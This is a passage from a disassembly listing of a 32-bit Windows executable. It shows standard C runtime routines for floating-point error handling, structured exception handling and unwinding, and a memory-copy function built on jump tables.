		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_435A78
		call	sub_419BA8
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_415F79
		call	sub_419A70
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_415F5C
		cmp	eax, 2
		jle	short loc_415F4E
		cmp	eax, 3
		jnz	short loc_415F5C
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Ch		; double
		call	sub_419218
		add	esp, 10h
		jmp	short loc_415FBE
; ---------------------------------------------------------------------------


loc_415F4E:				; CODE XREF: sub_415EF3+3Fj
		push	esi
		push	ebx
		call	sub_419BA8
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_415FBE
; ---------------------------------------------------------------------------


loc_415F5C:				; CODE XREF: sub_415EF3+3Aj
					; sub_415EF3+44j
		fld	[ebp+arg_0]
		fadd	ds:dbl_4275E0
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Ch
		push	8
		jmp	short loc_415FB6
; ---------------------------------------------------------------------------


loc_415F79:				; CODE XREF: sub_415EF3+2Fj
		call	sub_4199D1
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_415F9C


loc_415F8E:				; CODE XREF: sub_415EF3+ACj
		push	esi
		push	ebx
		call	sub_419BA8
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_415FBE
; ---------------------------------------------------------------------------


loc_415F9C:				; CODE XREF: sub_415EF3+99j
		test	bl, 20h
		jnz	short loc_415F8E
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Ch		; int
		push	10h		; int


loc_415FB6:				; CODE XREF: sub_415EF3+84j
		call	sub_4192CA
		add	esp, 1Ch


loc_415FBE:				; CODE XREF: sub_415EF3+59j
					; sub_415EF3+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_415EF3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415FC2	proc near		; CODE XREF: sub_41A4D0+71p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_415FC2	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_415FF6	proc near		; CODE XREF: sub_41A845+3Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_415FF6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_415FFD	proc near		; CODE XREF: sub_41A681+199p

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_415FFD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_416004	proc near		; CODE XREF: sub_41A681+17Fp

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_416004	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41600B	proc near		; CODE XREF: sub_4161D7+5Cp
					; sub_41A4D0:loc_41A501p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_416033
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_421268	; RtlUnwind


loc_416033:				; DATA XREF: sub_41600B+11o
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		and	al, 0FDh
		mov	ecx, [ebp+arg_4]
		mov	[ecx+4], eax
		mov	eax, large fs:0
		mov	ebx, [ebp+var_8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_41600B	endp

; ---------------------------------------------------------------------------


loc_41605A:				; CODE XREF: .text:004250A8j
					; .text:004250CDj ...
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_41A0D5
		add	esp, 20h
		mov	[ebp+14h], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+14h]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		mov	eax, [esp+4]
		push	dword ptr [eax+1Ch]
		push	dword ptr [eax+28h]
		push	0
		push	dword ptr [eax+18h]
		call	sub_41A41C
		add	esp, 10h
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4160AA	proc near		; CODE XREF: sub_41A54B+73p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_10], offset sub_4160FE
		inc	eax
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_41A8D0
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_4160AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4160FE	proc near		; DATA XREF: sub_4160AA+16o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cld
		mov	eax, [ebp+arg_4]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_41A0D5
		add	esp, 20h
		pop	ebp
		retn
sub_4160FE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416123	proc near		; CODE XREF: sub_41A317+25p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_4161D7
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_4161A9
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	dword_49286C
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0


loc_4161A9:				; DATA XREF: sub_416123+3Co
		cmp	[ebp+var_4], 0
		jz	short loc_4161C6
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_4161CF
; ---------------------------------------------------------------------------


loc_4161C6:				; CODE XREF: sub_416123+8Aj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax


loc_4161CF:				; CODE XREF: sub_416123+A1j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416123	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4161D7	proc near		; DATA XREF: sub_416123+Do

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_4161FA
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		push	1
		pop	eax
		jmp	short loc_416247
; ---------------------------------------------------------------------------


loc_4161FA:				; CODE XREF: sub_4161D7+12j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_41A0D5
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_416238
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_41600B


loc_416238:				; CODE XREF: sub_4161D7+54j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		push	1
		pop	eax


loc_416247:				; CODE XREF: sub_4161D7+21j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4161D7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41624C	proc near		; CODE XREF: sub_41A170+C6p
					; sub_41A317+43p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		cmp	[ebp+arg_4], 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+arg_0], esi
		mov	[ebp+var_4], eax
		jl	short loc_4162A3


loc_41626A:				; CODE XREF: sub_41624C+52j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_416274
		call	sub_41A982


loc_416274:				; CODE XREF: sub_41624C+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		cmp	[ebx+eax*4+4], ecx
		lea	eax, [ebx+eax*4]
		jge	short loc_416289
		cmp	ecx, [eax+8]
		jle	short loc_41628E


loc_416289:				; CODE XREF: sub_41624C+36j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41629A


loc_41628E:				; CODE XREF: sub_41624C+3Bj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi


loc_41629A:				; CODE XREF: sub_41624C+40j
		cmp	[ebp+arg_4], 0
		jge	short loc_41626A
		mov	eax, [ebp+var_4]


loc_4162A3:				; CODE XREF: sub_41624C+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_4162B7
		cmp	esi, eax
		jbe	short loc_4162BC


loc_4162B7:				; CODE XREF: sub_41624C+65j
		call	sub_41A982


loc_4162BC:				; CODE XREF: sub_41624C+69j
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_41624C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4162C8	proc near		; CODE XREF: sub_41D854+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset loc_4162E0
		push	[ebp+arg_0]
		call	sub_421268	; RtlUnwind


loc_4162E0:				; DATA XREF: sub_4162C8+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4162C8	endp


; =============== S U B	R O U T	I N E =======================================



sub_4162E8	proc near		; DATA XREF: sub_41630A+Ao
					; sub_416372+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_416309
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_416309:				; CODE XREF: sub_4162E8+10j
		retn
sub_4162E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41630A	proc near		; CODE XREF: sub_41A5F1+Dp
					; sub_41D854+67p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_4162E8
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_416327:				; CODE XREF: sub_41630A:loc_416362j
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_416364
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_416364
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_416362
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_41639E
		call	dword ptr [ebx+esi*4+8]


loc_416362:				; CODE XREF: sub_41630A+44j
		jmp	short loc_416327
; ---------------------------------------------------------------------------


loc_416364:				; CODE XREF: sub_41630A+2Aj
					; sub_41630A+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41630A	endp


; =============== S U B	R O U T	I N E =======================================



sub_416372	proc near		; CODE XREF: sub_41A611+37p
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_4162E8
		jnz	short locret_416394
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_416394
		mov	eax, 1

locret_416394:				; CODE XREF: sub_416372+10j
					; sub_416372+1Bj
		retn
sub_416372	endp


; =============== S U B	R O U T	I N E =======================================



sub_416395	proc near		; CODE XREF: sub_41A8D0+1Ep
					; sub_41A8D0+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_435A7C
		jmp	short loc_4163A8
sub_416395	endp


; =============== S U B	R O U T	I N E =======================================



sub_41639E	proc near		; CODE XREF: sub_41630A+4Fp
					; sub_41D854+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_435A7C
		mov	ecx, [ebp+8]


loc_4163A8:				; CODE XREF: sub_416395+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_41639E	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4163B8	proc near		; CODE XREF: sub_402120+5p
					; sub_40232A+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_4163B8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4163D7	proc near		; CODE XREF: sub_40232A+69p
					; sub_402413+66p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], 42h
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	eax
		call	sub_41AAED
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_416416
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_416423
; ---------------------------------------------------------------------------


loc_416416:				; CODE XREF: sub_4163D7+35j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41A9D8
		pop	ecx
		pop	ecx


loc_416423:				; CODE XREF: sub_4163D7+3Dj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_4163D7	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416430	proc near		; CODE XREF: sub_4029BE+3Ap
					; sub_418342+2EEp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_416450
		cmp	edi, eax
		jb	loc_4165C8


loc_416450:				; CODE XREF: sub_416430+16j
		test	edi, 3
		jnz	short loc_41646C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41648C
		rep movsd
		jmp	ds:off_416578[edx*4]
; ---------------------------------------------------------------------------


loc_41646C:				; CODE XREF: sub_416430+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_416484
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr ds:loc_41648C+4[eax*4]
; ---------------------------------------------------------------------------


loc_416484:				; CODE XREF: sub_416430+46j
		jmp	dword ptr ds:loc_416588[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41648C:				; CODE XREF: sub_416430+31j
					; sub_416430+8Ej ...
		jmp	ds:off_41650C[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_4164A0
		dd offset loc_4164CC
		dd offset loc_4164F0
; ---------------------------------------------------------------------------


loc_4164A0:				; DATA XREF: sub_416430+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41648C
		rep movsd
		jmp	ds:off_416578[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_4164CC:				; DATA XREF: sub_416430+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41648C
		rep movsd
		jmp	ds:off_416578[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_4164F0:				; DATA XREF: sub_416430+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41648C
		rep movsd
		jmp	ds:off_416578[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41650C	dd offset loc_41656F	; DATA XREF: sub_416430:loc_41648Cr
		dd offset loc_41655C
		dd offset loc_416554
		dd offset loc_41654C
		dd offset loc_416544
		dd offset loc_41653C
		dd offset loc_416534
		dd offset loc_41652C
; ---------------------------------------------------------------------------


loc_41652C:				; CODE XREF: sub_416430:loc_41648Cj
					; DATA XREF: sub_416430+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_416534:				; CODE XREF: sub_416430:loc_41648Cj
					; DATA XREF: sub_416430+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41653C:				; CODE XREF: sub_416430:loc_41648Cj
					; DATA XREF: sub_416430+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_416544:				; CODE XREF: sub_416430:loc_41648Cj
					; DATA XREF: sub_416430+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41654C:				; CODE XREF: sub_416430:loc_41648Cj
					; DATA XREF: sub_416430+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_416554:				; CODE XREF: sub_416430:loc_41648Cj
					; DATA XREF: sub_416430+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41655C:				; CODE XREF: sub_416430:loc_41648Cj
					; DATA XREF: sub_416430+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41656F:				; CODE XREF: sub_416430:loc_41648Cj
					; DATA XREF: sub_416430:off_41650Co
		jmp	ds:off_416578[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_416578	dd offset loc_416588	; DATA XREF: sub_416430+35r
					; sub_416430+92r ...
		dd offset loc_416590
		dd offset loc_41659C
		dd offset loc_4165B0
; ---------------------------------------------------------------------------


loc_416588:				; CODE XREF: sub_416430+35j
					; sub_416430+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_416590:				; CODE XREF: sub_416430+35j
					; sub_416430+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41659C:				; CODE XREF: sub_416430+35j
					; sub_416430+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_4165B0:				; CODE XREF: sub_416430+35j
					; sub_416430+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4165C8:				; CODE XREF: sub_416430+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_4165FC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_4165F0
		std
		rep movsd
		cld
		jmp	ds:off_416710[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_4165F0:				; CODE XREF: sub_416430+1B1j
					; sub_416430+208j ...
		neg	ecx
		jmp	ds:off_4166C0[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_4165FC:				; CODE XREF: sub_416430+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_416614
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr ds:loc_416614+4[eax*4]
; ---------------------------------------------------------------------------


loc_416614:				; CODE XREF: sub_416430+1D6j
					; DATA XREF: sub_416430+1DDr
		jmp	ds:off_416710[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		sub	[esi+41h], ah
		add	[eax+66h], cl
		inc	ecx
		add	[eax+66h], dh
		inc	ecx
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_4165F0
		std
		rep movsd
		cld
		jmp	ds:off_416710[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_4165F0
		std
		rep movsd
		cld
		jmp	ds:off_416710[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_4165F0
		std
		rep movsd
		cld
		jmp	ds:off_416710[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_4166C4
		dd offset loc_4166CC
		dd offset loc_4166D4
		dd offset loc_4166DC
		dd offset loc_4166E4
		dd offset loc_4166EC
		dd offset loc_4166F4
off_4166C0	dd offset loc_416707	; DATA XREF: sub_416430+1C2r
; ---------------------------------------------------------------------------


loc_4166C4:				; DATA XREF: sub_416430+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_4166CC:				; DATA XREF: sub_416430+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_4166D4:				; DATA XREF: sub_416430+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_4166DC:				; DATA XREF: sub_416430+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_4166E4:				; DATA XREF: sub_416430+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_4166EC:				; DATA XREF: sub_416430+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_4166F4:				; DATA XREF: sub_416430+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_416707:				; CODE XREF: sub_416430+1C2j
					; DATA XREF: sub_416430:off_4166C0o
		jmp	ds:off_416710[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_416710	dd offset loc_416720	; DATA XREF: sub_416430+1B7r
					; sub_416430:loc_416614r ...
		dd offset loc_416728
		dd offset loc_416738
		dd offset loc_41674C
; ---------------------------------------------------------------------------


loc_416720:				; CODE XREF: sub_416430+1B7j
					; sub_416430:loc_416614j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_416728:				; CODE XREF: sub_416430+1B7j
					; sub_416430:loc_416614j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_416738:				; CODE XREF: sub_416430+1B7j
					; sub_416430:loc_416614j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41674C:				; CODE XREF: sub_416430+1B7j
					; sub_416430:loc_416614j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
